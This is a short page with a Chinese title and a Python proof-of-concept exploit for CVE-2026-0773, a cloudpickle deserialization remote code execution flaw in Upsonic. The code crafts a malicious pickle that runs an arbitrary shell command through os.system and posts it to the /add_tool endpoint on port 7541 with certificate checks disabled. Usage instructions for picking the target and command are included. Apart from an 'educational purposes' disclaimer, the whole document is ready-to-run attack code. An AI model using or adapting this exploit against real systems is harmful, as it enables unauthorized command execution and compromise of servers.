CVE-2026-0773: Upsonic Cloudpickle反序列化远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2026-0773 PoC - Upsonic Cloudpickle Deserialization RCE Note: This PoC is for educational and authorized testing purposes only. """ import pickle import cloudpickle import requests import base64 import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def create_malicious_payload(command): """ Create a malicious pickle payload that executes the given command when deserialized. """ class Malicious: def __reduce__(self): import os return (os.system, (command,)) # Using cloudpickle for serialization return cloudpickle.dumps(Malicious()) def exploit(target_ip, target_port=7541, command="whoami"): """ Exploit the CVE-2026-0773 vulnerability Args: target_ip: Target server IP address target_port: Target port (default 7541) command: Command to execute on target """ url = f"https://{target_ip}:{target_port}/add_tool" # Create malicious payload payload = create_malicious_payload(command) payload_b64 = base64.b64encode(payload).decode() # Prepare request data data = { "tool_data": payload_b64 } try: print(f"[*] Sending malicious payload to {url}") print(f"[*] Command: {command}") response = requests.post( url, json=data, verify=False, timeout=10 ) print(f"[*] Response status: {response.status_code}") print(f"[*] Response: {response.text}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2026-0773-poc.py <target_ip> [command]") print("Example: python cve-2026-0773-poc.py 192.168.1.100 'id'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else "whoami" exploit(target, 7541, cmd)